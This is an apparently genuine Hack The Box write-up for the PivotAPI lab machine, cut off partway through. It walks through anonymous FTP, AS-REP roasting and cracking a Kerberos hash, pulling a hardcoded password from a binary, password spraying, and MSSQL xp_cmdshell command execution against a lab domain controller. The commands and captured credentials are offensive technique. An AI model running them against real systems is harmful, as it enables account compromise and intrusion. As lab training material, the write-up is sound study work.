Cover Image

Offensive Security: PivotAPI - Hack The Box

Machine Info

Pivotapi is an insane machine that involves user enumeration through the metadata of PDFs which are downloaded from a FTP file share server. Since the user has not got preauth with Kerberos it is possible to request a TGT for him which can be cracked with Hashcat. With the provided credentials an SMB enumeration exposes an executable which when reversed engineered reveals credentials to authenticate to MSSQL. After gaining access to the system it is possible to locate a keepass database on the target, leading to further misconfiguration abuse through Active Directory which leads obtaining the Administrator’s password through LAPS and thus get execution on the target through psexec as user Administrator.

Radar graph:

image.png

Reconnaissance

Initial TCP port scan with nmap:

# Nmap 7.99 scan initiated Sun Sep 13 15:12:11 2026 as: nmap -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389,49668,49677,49678,49708 -sCV -Pn -oN nmap.log 10.129.228.115
Nmap scan report for 10.129.228.115
Host is up (0.16s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-13 21:12:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.228.115:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.129.228.115:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-13T21:05:24
|_Not valid after:  2056-09-13T21:05:24
|_ssl-date: 2026-09-13T21:13:48+00:00; -1s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-09-13T21:13:11
|_  start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 13 15:13:58 2026 -- 1 IP address (1 host up) scanned in 107.28 seconds

The scan reveals typical domain controller services such as LDAP, Kerberos, SMB, and DNS. We can also see SSH for remote administration, an MSSQL database, and an FTP server with anonymous authentication enabled.

This result also shows that the name of the DC is PIVOTAPI and the domain is LicorDeBellota.htb.

To resolve the domain name, I’ll add an entry to /etc/hosts:

[bryan@sec]$ echo "PivotAPI.LicorDeBellota.htb PivotAPI LicorDeBellota.htb" >> /etc/hosts

Enumeration

The FTP server exposes several files that can be accessed without credentials, so the first thing I’ll do is download them:

[bryan@sec]$ ftp 10.129.228.115
Connected to 10.129.228.115.
220 Microsoft FTP Service
Name (10.129.228.115:bryan): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> prompt off
Interactive mode off.
ftp> binary
200 Type set to I.
ftp> passive
Passive mode on.
ftp> dir
227 Entering Passive Mode (10,129,228,115,235,127).
125 Data connection already open; Transfer starting.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> mkdir test
550 Access is denied.
ftp> mget *
local: 10.1.1.414.6453.pdf remote: 10.1.1.414.6453.pdf
...[snip]...
local: RHUL-MA-2009-06.pdf remote: RHUL-MA-2009-06.pdf
227 Entering Passive Mode (10,129,228,115,207,157).
125 Data connection already open; Transfer starting.
226 Transfer complete.
1301120 bytes received in 12.7914 seconds (99.3342 kbytes/s)

Most of these documents are about memory attacks and buffer overflows but they don’t contain much relevant information.

[bryan@sec]$ ls
10.1.1.414.6453.pdf                           BHUSA09-McDonald-WindowsHeap-PAPER.pdf  notes1.pdf  README.txt
28475-linux-stack-based-buffer-overflows.pdf  ExploitingSoftware-Ch07.pdf             notes2.pdf  RHUL-MA-2009-06.pdf
[bryan@sec]$ cat README.txt;echo
VERY IMPORTANT!!
Don't forget to change the download mode to binary so that the files are not corrupted.

The contents of notes2.pdf look like this:

Now I’ll show the metadata for notes1.pdf and notes2.pdf:

[bryan@sec]$ exiftool notes*.pdf 
======== notes1.pdf
ExifTool Version Number         : 13.55
File Name                       : notes1.pdf
Directory                       : .
File Size                       : 219 kB
...[snip]...
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
Creator                         : cairo 1.10.2 (http://cairographics.org)
Producer                        : cairo 1.10.2 (http://cairographics.org)
======== notes2.pdf
ExifTool Version Number         : 13.55
File Name                       : notes2.pdf
Directory                       : .
...[snip]...
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

The document notes2.pdf is about memory attacks and its metadata contains the name Kaorz in the Creator field. This is relevant because unlike the other files, these two documents appear to belong to a domain user: they’re written in Spanish, and one of them has the domain LicorDeBellota.htb listed as the Publisher.


We can quickly verify this with kerbrute to see whether the user exists in the domain:


[bryan@sec]$ cat users.txt
Adminsitrator
Kaorz
[bryan@sec]$ kerbrute userenum --dc 10.129.228.115 -d LicorDebellota.htb users.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/24/26 - Ronnie Flathers @ropnop

2026/09/13 21:24:51 >  Using KDC(s):
2026/09/1 21:24:51 >  	10.129.228.115:88

2026/09/13 21:24:52 >  [+] VALID USERNAME:	Kaorz@LicorDebellota.htb
2026/09/13 21:24:52 >  Done! Tested 2 usernames (1 valid) in 0.180 seconds

This confirms that the Kaorz user is valid.

Although I added the Administrator user to users.txt, it wasn’t shown as valid because the DC was installed in Spanish, so the account is actually called Administrador.


Running kerbrute again with the Administrador account (Administrator in Spanish), we can see that it’s now reported as valid:

[bryan@sec]$ kerbrute userenum --dc 10.129.228.115 -d LicorDebellota.htb user.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/24/26 - Ronnie Flathers @ropnop

2026/09/13 21:26:19 >  Using KDC(s):
2026/09/13 21:26:19 >  	10.129.228.115:88

2026/09/13 21:26:20 >  [+] VALID USERNAME:	Administrador@LicorDebellota.htb
2026/09/13 21:26:20 >  [+] VALID USERNAME:	Kaorz@LicorDebellota.htb
2026/09/13 21:26:20 >  Done! Tested 3 usernames (2 valid) in 0.202 seconds# Kerberos PreAuthentication

I’ll continue the enumeration by listing the available shares:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'Guest' -p '' --shares
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\Guest: STATUS_LOGON_FAILURE 
[bryan@sec]$ nxc smb 10.129.228.115 -u 'Invitado' -p '' --shares
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\Invitado: STATUS_ACCOUNT_DISABLED
[bryan@sec]$ nxc smb 10.129.228.115 -u '' -p '' --shares
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\: 
SMB         10.129.228.115  445    PIVOTAPI         [-] Error enumerating shares: STATUS_ACCESS_DENIED

We get an authentication error when using the Guest account because we need to use its Spanish name. Even then, the Invitado account is disabled, and anonymous login doesn’t have permissions to view the shares.


The RPC interfaces are restricted as well:

[bryan@sec]$ rpcclient 10.129.228.115 -U '' -N
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

Now I’ll check whether the Kaorz user has Kerberos pre-authentication disabled:

[bryan@sec]$ GetNPUsers.py 'licordebellota.htb/' -no-pass -usersfile user.txt 
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:e883a4b2d8948c9d9ebb8cedad449d73$07c29369fe5b563975e031640487af1c9f33ce68f92a12015e6e7dc308a0460ff48e8dea1a7efeaba40bf6ff25ce3081f98c31e4347b252311dc82324ec0ef993c8605e17cd935edb1a8b9a6b8bc6edecd2bad7f7d28f3c9235bde6936e797afe536ead749faa8292bbc9802f5f6dfaa95f48189111db0b423a80174bd69171af3e012b0575ef7e584e9c7e9c9b94fcb990dbea45ee6a1b39529148cb64d07f7acbf492d4a2777499a9c259ee7ac761dac3b03c06080529a1bf4cb2f95b5afe25b15513856afb21c60408f1880806600b4546de544eadebd26b1a1f7784ad3169ae69c33b397917f889d510ee59c1faa28c93d2865c48e45
[-] User Administrador doesn't have UF_DONT_REQUIRE_PREAUTH set

The user has pre-authentication disabled, which allows us to obtain their AS-REP hash.


Now let’s crack the hash:

[bryan@sec]$ hashcat kaorz_hash.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:cdb82ff897...[snip]...032b5a02:Roper4155
...[snip]...

The hash was successfully cracked so we now have the password Roper4155.


I’ll now use BloodHound to gather more information about the domain and user DACLs:

Here we can see an attack path starting from a user named Jari that could potentially lead to Domain Admin privileges. This path is important because if we managed to compromise Jari’s account, we could gain access to the Gibdeon user, who can read passwords stored in LAPS (Local Administrator Password Solution).

For now, there’s no direct path to the Jari user.


I’ll continue enumerating available shared resources:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'Kaorz' -p 'Roper4155' --shares
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\Kaorz:Roper4155 
SMB         10.129.228.115  445    PIVOTAPI         [*] Enumerated shares
SMB         10.129.228.115  445    PIVOTAPI         Share           Permissions     Remark
SMB         10.129.228.115  445    PIVOTAPI         -----           -----------     ------
SMB         10.129.228.115  445    PIVOTAPI         ADMIN$                          Admin remota
SMB         10.129.228.115  445    PIVOTAPI         C$                              Recurso predeterminado
SMB         10.129.228.115  445    PIVOTAPI         IPC$            READ            IPC remota
SMB         10.129.228.115  445    PIVOTAPI         NETLOGON        READ            Recurso compartido del servidor de inicio de sesión 
SMB         10.129.228.115  445    PIVOTAPI         SYSVOL          READ            Recurso compartido del servidor de inicio de sesión 

The result shows several default directories, and the user has read access to them.


I’ll list the files inside NETLOGON:

[bryan@sec]$ smbclient '\\10.129.228.115\NETLOGON' -c 'prompt off; recurse on; dir' -U 'Kaorz%Roper4155'
  .                                   D        0  Sat Aug  8 04:42:28 2020
  ..                                  D        0  Sat Aug  8 04:42:28 2020
  HelpDesk                            D        0  Sun Aug  9 09:40:36 2020

\HelpDesk
  .                                   D        0  Sun Aug  9 09:40:36 2020
  ..                                  D        0  Sun Aug  9 09:40:36 2020
  Restart-OracleService.exe           A  1854976  Fri Feb 19 04:52:01 2021
  Server MSSQL.msg                    A    24576  Sun Aug  9 05:04:14 2020
  WinRM Service.msg                   A    26112  Sun Aug  9 05:42:20 2020

		5158399 blocks of size 4096. 1092859 blocks available

This directory contains an executable related to a database and two .msg (format for Outlook email files).


The Server_MSSQL.msg file contains an email sent by cybervaca reporting the migration of an Oracle database to MSSQL. It also mentions that an executable was created to restart the service:


The second file WinRM_Service.msg contains an email from helpdesk announcing that they created a firewall rule to block external access to WinRM.


We also have the Windows executable Restart-OracleService.exe, which is used to restart a database:

[bryan@sec]$ file Restart-OracleService.exe 
Restart-OracleService.exe: PE32+ executable for MS Windows 5.02 (console), x86-64, 6 sections
[bryan@sec]$ strings Restart-OracleService.exe | grep -E "pass|secret|user|db"
dbbF
dbUt
g~-"db
dbWD
>Tdb$
jadbwo
db3V
sdbRW
dbl{=H

At first glance, we don’t see any credential strings in the raw contents of the file.

Shell as svc_mssql

Binary Analysis

To analyze what this Restart-OracleService.exe executable is doing, I’ll use procmon.exe to monitor all the actions the binary performs on the system when it’s executed:

After running Restart-OracleService.exe, several temporary files and a BAT file are created inside %TEMP%, but they’re immediately deleted.


To be able to read this BAT file, I’ll modify the DACL of the %TEMP% directory to revoke delete permissions from my user. I’ll use the following PowerShell script:

$Path = "C:\Users\bryan\AppData\Local\Temp"
$User = "bryan"

# Backup ACL
$Backup = "C:\Users\bryan\Desktop\pivotapi\ACL_Backup.xml"
Get-Acl -Path $Path | Export-Clixml -Path $Backup

Write-Host "[+] Original ACL saved in $Backup"

$acl = Get-Acl -Path $Path

# Add write permissions
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    $User,
    "Write,CreateFiles,CreateDirectories",
    "ContainerInherit,ObjectInherit",
    "None",
    "Allow"
)
$acl.AddAccessRule($rule)

# Deny delete permissions
$denyDelete = New-Object System.Security.AccessControl.FileSystemAccessRule(
    $User,
    "Delete,DeleteSubdirectoriesAndFiles",
    "ContainerInherit,ObjectInherit",
    "None",
    "Deny"
)
$acl.AddAccessRule($denyDelete)

Set-Acl -Path $Path -AclObject $acl
Write-Host "[+] Permissions modified: $User can write/create but not delete."


Whe then run the binary again and the BAT file is created but it isn’t deleted because the process no longer has permission to do so:


We can use the following PowerShell script to restore the directory permissions:

$Path = "C:\Users\bryan\AppData\Local\Temp"
$Backup = "C:\Users\bryan\Desktop\pivotapi\ACL_Backup.xml"

$acl = Import-Clixml -Path $Backup
Set-Acl -Path $Path -AclObject $acl

Write-Host "[+] Original ACL restored."


Now we can see the contents of the BAT file:

The file contains a script that stores a large Base64-encoded string in C:\ProgramData\oracle.txt.


Here we can see the last lines of the script:

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe

It stores a PowerShell script in C:\ProgramData\monta.ps1, which decodes the Base64 contents of oracle.txt and writes the result to restart-service.exe, which is then executed and deleted.

To analyze the restart-service.exe file, I’ll run monta.ps1 again but before doing that we need to remove the user verification lines at the beginning of the script and delete the final line of code that deletes the executable.


Now I’ll take this restart-service.exe file and run it manually to monitor its behavior with procmon:

After analyzing the capture, I didn’t find much relevant information.


Now I’ll capture the function calls and arguments used by the executable:

The result shows the function CreateProcessWithLogonW() to restart a service called OracleServiceXE. The parameters contain the user svc_oracle and the password #oracle_s3rV1c3!2010. The full line of code is the following:

CreateProcessWithLogonW( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000235cfe0, 0x0000000004061c20 )

Even so, I don’t get any valid matches when I try the password against all the domain users:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'svc_oracle' -p '#oracle_s3rV1c3!2010'
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\svc_oracle:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE

[bryan@sec]$ nxc smb 10.129.228.115 -u users.txt -p '#oracle_s3rV1c3!2010' --continue-on-success
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\Administrador:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE 
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\cybervaca:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE 
...[snip]...
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\aDoN90:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE 
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\ippsec:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE 
SMB         10.129.228.115  445    PIVOTAPI         [-] LicorDeBellota.htb\0xdf:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE 

In fact, if we run an LDAP query to check the domain objects, we can see that there’s no user named svc_oracle, but there is a svc_mssql account:

[bryan@sec]$ nxc ldap 10.129.228.115 -u 'Kaorz' -p 'Roper4155' --query '(samAccountName=svc_sql)' 'samAccountName'
LDAP        10.129.228.115  389    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.228.115  389    PIVOTAPI         [+] LicorDeBellota.htb\Kaorz:Roper4155 
[bryan@sec]$ nxc ldap 10.129.228.115 -u 'Kaorz' -p 'Roper4155' --query '(samAccountName=svc_mssql)' 'samAccountName'
LDAP        10.129.228.115  389    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.228.115  389    PIVOTAPI         [+] LicorDeBellota.htb\Kaorz:Roper4155 
LDAP        10.129.228.115  389    PIVOTAPI         [+] Response for object: CN=mssql service,CN=Users,DC=LicorDeBellota,DC=htb
LDAP        10.129.228.115  389    PIVOTAPI         sAMAccountName       svc_mssql

This makes sense because we previously saw an email mentioning the migration from an Oracle database to MSSQL. This means there used to be a service account called svc_sql, but it was replaced by svc_mssql.

We can also see that part of the password contains the year 2010, while the machine’s current context is 2021, so that may have changed as well.

Bruteforce

We can use the following Bash script to create a wordlist with variations of the original password #oracle_s3rV1c3!2010:

for i in $(seq 2010 2021)
  do
    echo "#mssql_s3rV1c3!${i}"
    echo "#mssql_s3rV1c10!${i}"
    echo "#mssql_svc!${i}"
  done

Before performing the brute force, we can see that there’s no failed-login threshold before an account gets locked, so we won’t have any problems with the attack:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'Kaorz' -p 'Roper4155' --pass-pol
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\Kaorz:Roper4155 
SMB         10.129.228.115  445    PIVOTAPI         [+] Dumping password info for domain: LICORDEBELLOTA
SMB         10.129.228.115  445    PIVOTAPI         Minimum password length: 7
SMB         10.129.228.115  445    PIVOTAPI         Password history length: 24
SMB         10.129.228.115  445    PIVOTAPI         Maximum password age: 41 days 23 hours 53 minutes 
SMB         10.129.228.115  445    PIVOTAPI         
SMB         10.129.228.115  445    PIVOTAPI         Password Complexity Flags: 000001
SMB         10.129.228.115  445    PIVOTAPI             Domain Refuse Password Change: 0
SMB         10.129.228.115  445    PIVOTAPI             Domain Password Store Cleartext: 0
SMB         10.129.228.115  445    PIVOTAPI             Domain Password Lockout Admins: 0
SMB         10.129.228.115  445    PIVOTAPI             Domain Password No Clear Change: 0
SMB         10.129.228.115  445    PIVOTAPI             Domain Password No Anon Change: 0
SMB         10.129.228.115  445    PIVOTAPI             Domain Password Complex: 1
SMB         10.129.228.115  445    PIVOTAPI         
SMB         10.129.228.115  445    PIVOTAPI         Minimum password age: 1 day 4 minutes 
SMB         10.129.228.115  445    PIVOTAPI         Reset Account Lockout Counter: 30 minutes 
SMB         10.129.228.115  445    PIVOTAPI         Locked Account Duration: 30 minutes 
SMB         10.129.228.115  445    PIVOTAPI         Account Lockout Threshold: None
SMB         10.129.228.115  445    PIVOTAPI         Forced Log off Time: Not Set

Now I’ll use the wordlist against the svc_mssql user:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'svc_mssql' -p wordlist.txt --continue-on-success | grep '[+]'
SMB                      10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\svc_mssql:#mssql_s3rV1c3!2020

We found the valid password for the svc_mssql user: #mssql_s3rV1c3!2020.

RCE via xp_cmdshell

Looking for more information about the svc_mssql account, we can see that it’s a member of the Remote Management Users group.

This group would normally let us get a shell on the DC through WinRM, but the service is blocked by the firewall.


We can’t access it over SSH either:

[bryan@sec]$ ssh svc_mssql@10.129.228.115
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
svc_mssql@10.129.228.115's password: 
Permission denied, please try again.

This account appears to control the MSSQL database, so we can try logging in with its credentials:

[bryan@sec]$ mssqlclient.py 'licordebellota.htb/svc_mssql:#mssql_s3rV1c3!2020'@10.129.228.115
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'svc_mssql'.
[bryan@sec]$ mssqlclient.py 'licordebellota.htb/svc_mssql:#mssql_s3rV1c3!2020'@10.129.228.115 -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\svc_mssql'.

The credentials don’t let us access the database either.


We can also try logging in as the default sa user by reusing the password we have:

[bryan@sec]$ mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020@10.129.228.115'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (sa  dbo@master)>
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(PIVOTAPI\SQLEXPRESS): Line 185: Se ha cambiado la opción de configuración 'show advanced options' de 1 a 1. Ejecute la instrucción RECONFIGURE para instalar.
INFO(PIVOTAPI\SQLEXPRESS): Line 185: Se ha cambiado la opción de configuración 'xp_cmdshell' de 1 a 1. Ejecute la instrucción RECONFIGURE para instalar.
SQL (sa  dbo@master)> xp_cmdshell "whoami"
output                        
---------------------------   
nt service\mssql$sqlexpress   
NULL                          
SQL (sa  dbo@master)> xp_cmdshell "hostname"
output     
--------   
PivotAPI   
NULL
SQL (sa  dbo@master)> xp_cmdshell "ipconfig"
output                                                          
-------------------------------------------------------------   
NULL                                                            
Configuración IP de Windows                                     
NULL                                                            
NULL                                                            
Adaptador de Ethernet Ethernet0 2:                              
NULL                                                            
   Sufijo DNS específico para la conexión. . : .htb             
   Dirección IPv4. . . . . . . . . . . . . . : 10.129.228.115   
   Máscara de subred . . . . . . . . . . . . : 255.255.0.0      
   Puerta de enlace predeterminada . . . . . : 10.129.0.1       
NULL

The password reuse worked, and we can also run system commands through xp_cmdshell.


Now I’ll list the firewall rules that are being applied:

SQL (sa  dbo@master)> xp_cmdshell "powershell Get-NetFireWallRule -Action Block -Enabled True"
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
NULL                                                                               
Name                  : {024995C1-0225-4A9B-A7F6-F4F78BEFFF2F}                     
DisplayName           : Block TCP                                                  
Description           :                                                            
DisplayGroup          :                                                            
Group                 :                                                            
Enabled               : True                                                       
Profile               : Any                                                        
Platform              : {}                                                         
Direction             : Outbound                                                   
Action                : Block                                                      
EdgeTraversalPolicy   : Block                                                      
LooseSourceMapping    : False                                                      
LocalOnlyMapping      : False                                                      
Owner                 :                                                            
PrimaryStatus         : OK                                                         
Status                : Se analizó la regla correctamente desde el almacén. (65536)   
EnforcementStatus     : NotApplicable                                              
PolicyStoreSource     : PersistentStore                                            
PolicyStoreSourceType : Local                                                      
NULL                                                                               
Name                  : {577D5EA8-9AC9-4EF4-AF33-8A23EFE45CDB}                     
DisplayName           : Block UDP                                                  
Description           :                                                            
DisplayGroup          :                                                            
Group                 :                                                            
Enabled               : True                                                       
Profile               : Any                                                        
Platform              : {}                                                         
Direction             : Outbound                                                   
Action                : Block                                                      
EdgeTraversalPolicy   : Block                                                      
LooseSourceMapping    : False                                                      
LocalOnlyMapping      : False                                                      
Owner                 :                                                            
PrimaryStatus         : OK                                                         
Status                : Se analizó la regla correctamente desde el almacén. (65536)   
EnforcementStatus     : NotApplicable                                              
PolicyStoreSource     : PersistentStore                                            
PolicyStoreSourceType : Local                                                      
NULL                                                                               
Name                  : {647E1258-90D4-47EE-B28A-82DE515A1326}                     
DisplayName           : Deny WinRM                                                 
Description           :                                                            
DisplayGroup          :                                                            
Group                 :                                                            
Enabled               : True                                                       
Profile               : Any                                                        
Platform              : {}                                                         
Direction             : Inbound                                                    
Action                : Block                                                      
EdgeTraversalPolicy   : Block                                                      
LooseSourceMapping    : False                                                      
LocalOnlyMapping      : False                                                      
Owner                 :                                                            
PrimaryStatus         : OK                                                         
Status                : Se analizó la regla correctamente desde el almacén. (65536)   
EnforcementStatus     : NotApplicable                                              
PolicyStoreSource     : PersistentStore                                            
PolicyStoreSourceType : Local                                                      
NULL                                                                               
Name                  : {C63C187F-9AE2-43C0-AEAD-B49FE6A7F823}                     
DisplayName           : Deny ICMP                                                  
Description           :                                                            
DisplayGroup          :                                                            
Group                 :                                                            
Enabled               : True                                                       
Profile               : Any                                                        
Platform              : {}                                                         
Direction             : Inbound                                                    
Action                : Block                                                      
EdgeTraversalPolicy   : Block                                                      
LooseSourceMapping    : False                                                      
LocalOnlyMapping      : False                                                      
Owner                 :                                                            
